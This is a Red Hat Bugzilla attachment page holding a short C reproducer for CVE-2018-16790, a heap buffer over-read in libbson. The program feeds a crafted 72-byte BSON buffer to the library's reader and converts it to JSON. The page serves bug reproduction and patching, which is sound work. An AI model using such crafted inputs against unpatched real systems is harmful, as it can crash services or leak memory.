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Red Hat Bugzilla – Attachment 1482654 Details for
Bug 1627923
CVE-2018-16790 libbson: Heap-based buffer over-read in _bson_iter_next_internal in bson-iter.c
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Reproducer
CVE-2018-16790.c (text/plain), 878 bytes, created by
Petr Pisar
on 2018-09-12 12:44:01 UTC
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Description:
Reproducer
Filename:
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Creator:
Petr Pisar
Created:
2018-09-12 12:44:01 UTC
Size:
878 bytes
patch
obsolete
>#include <bson.h> > >int main(void) { > const uint8_t Data[] = { > 0x18, 0x0, 0x0, 0x0, 0x5, 0xe, 0x19, 0x2e, > 0x0, 0x4, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, > 0x0, 0x0, 0x0, 0x0, 0x5, 0xe, 0x0, 0x0, > 0x18, 0x0, 0x0, 0x0, 0x5, 0xe, 0x19, 0x2e, > 0x0, 0x4, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, > 0x0, 0x0, 0x0, 0x0, 0x5, 0xe, 0x0, 0x0, > 0x18, 0x0, 0x0, 0x0, 0x5, 0x0, 0x0, 0x0, > 0x0, 0x0, 0x0, 0x5, 0xe, 0x19, 0x2e, 0x0, > 0x4, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, > }; > size_t Size = 0x48; > bson_reader_t *reader; > const bson_t *b; > > reader = bson_reader_new_from_data (Data, Size); > while ((b = bson_reader_read (reader, NULL))) { > char *str = bson_as_canonical_extended_json (b, NULL); > //fprintf (stdout, "%s\n", str); > bson_free (str); > } > bson_reader_destroy (reader); > > return 0; >}
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